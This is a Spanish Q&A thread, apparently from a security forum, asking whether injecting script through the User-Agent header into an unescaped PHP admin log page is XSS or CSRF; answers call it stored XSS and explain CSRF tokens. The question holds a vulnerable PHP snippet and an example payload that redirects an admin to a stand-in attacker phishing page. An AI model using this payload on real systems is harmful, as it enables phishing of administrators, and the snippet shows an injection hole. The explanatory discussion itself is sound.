Activación de Javascript por cadena de agente de usuario. CSRF o XSS?

0

He leído varios libros de seguridad de PHP, pero después de leer uno me confundí acerca de la definición de CSRF (falsificación de solicitud entre sitios). Wikipedia lo explica así:

  

A diferencia de los scripts entre sitios (XSS), que aprovechan la confianza que un usuario tiene   para un sitio en particular, CSRF explota la confianza que un sitio tiene en un   navegador del usuario.

Normalmente, esta vulnerabilidad se refiere al envío de dos solicitudes, una para obtener un token y otra para obtener un token para restablecer, por ejemplo, una cuenta de administrador. Por ejemplo, explotar la vulnerabilidad en la que un sitio web genera tokens de entropía débil mediante el uso de, por ejemplo, mt_srand() . Derecho?

Pero, ¿qué sucede si un sitio web registra qué navegador está utilizando al recopilar su cadena de usuario? P.ej: AdminPanel.php:

<?php
    $browser = $_SERVER['HTTP_USER_AGENT'];
    addToLog($browser);

    $logs = getAllLogs();
    echo $logs;
?>

Normalmente esto regresaría: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0

Pero podría editar mi cadena de agente de usuario en Firefox:

+----------------------------+----------+--------+-----------------------------------------------------------------------------------------------------+
| general.useragent.override | user set | string | <script>window.location.replace('http://myHackerServer.com/fakeAdminPageForPhishing.php');</script> |
+----------------------------+----------+--------+-----------------------------------------------------------------------------------------------------+

De esta manera, el código Javascript se ejecutaría en el panel de administración. De esta manera, puede explotar el XSS cuando el administrador registra las cadenas de usuarios y luego lo comprueba.

¿Pero es este XSS o CSRF? Quiero decir, el sitio web confía en que el navegador del usuario contenga valores válidos. Como dice la Wikipedia. No es necesario confiar en 'entrada de usuario' como en XSS. Me confundí con lo que es CSRF, he visto muchas definiciones diferentes.

Gracias.

    
pregunta O'Niel 30.07.2016 - 15:57
fuente

2 respuestas

2

Tu ejemplo es XSS. La definición completa de CSRF de Wikipedia:

  

La falsificación de solicitudes entre sitios (CSRF, por sus siglas en inglés) es un tipo de ataque que ocurre cuando un sitio web, correo electrónico, blog, mensaje instantáneo o programa malicioso hace que el navegador web de un usuario realice una acción no deseada en un sitio de confianza para el cual el usuario está actualmente autenticado.

Ejemplo de un ataque CSRF: digamos que usted es dueño de un sitio web example.com , y tiene una tienda donde los usuarios pueden comprar artículos utilizando solicitudes GET. Un enlace de ejemplo sería: example.com/shop/purchase?itemId=123456 , y no realiza ninguna autenticación, pero se asegura de que el usuario esté en línea. Usted llega a la página: Boom, se retiran $ 30 de su cuenta bancaria.

Ahora, un atacante podría tomar ese enlace y enmascararlo dentro de un correo electrónico, o insertándolo en una imagen en la que se pueda hacer clic en un foro activo, haciendo que parezca seguro (haga clic aquí para leer más, etc.). Cuando un usuario hace clic en ese enlace (quien no quiere comprar ese artículo), ¡cobra automáticamente los $ 30 que ni siquiera quería gastar!

La protección contra esto es bastante simple: usted genera un token CSRF único para cada usuario cuando se crea su sesión y lo obliga a pasar el token como parámetro. Así que ahora su enlace es example.com/shop/purchase?itemId=123456&token=abcdefg . Ahora, un atacante no puede enviarme enlaces "maliciosos", ¡porque no conoce mi token!

Como puede ver, este ataque realmente no tiene nada que ver con Javascript. Su ejemplo fue XSS persistente (un tema interesante por sí mismo, aunque no relacionado con su pregunta, por lo que no voy a profundizar en él aquí)

    
respondido por el Tom 30.07.2016 - 16:09
fuente
-1

La explicación de Tom es buena, pero agregaría lo siguiente. Normalmente, cuando se autentica en un sitio web, se le asigna un token que normalmente se almacena en una cookie de sesión del navegador y, por cada solicitud posterior, la cookie lo identifica.

Ahora, para cada solicitud al mismo dominio, su navegador emitirá la cookie.

Si un adversario crea una imagen oculta en una página y realiza una solicitud GET al dominio, el lado del servidor no tiene idea de si esto es legítimo o no.

Aquí es donde entra en juego un token CSRF. Si el lado del servidor tiene otro identificador independiente de la cookie, pueden validarlo.

Es importante que el token CSRF esté enlazado a la cookie de sesión de los usuarios.

    
respondido por el Darragh 30.07.2016 - 20:09
fuente

Lea otras preguntas en las etiquetas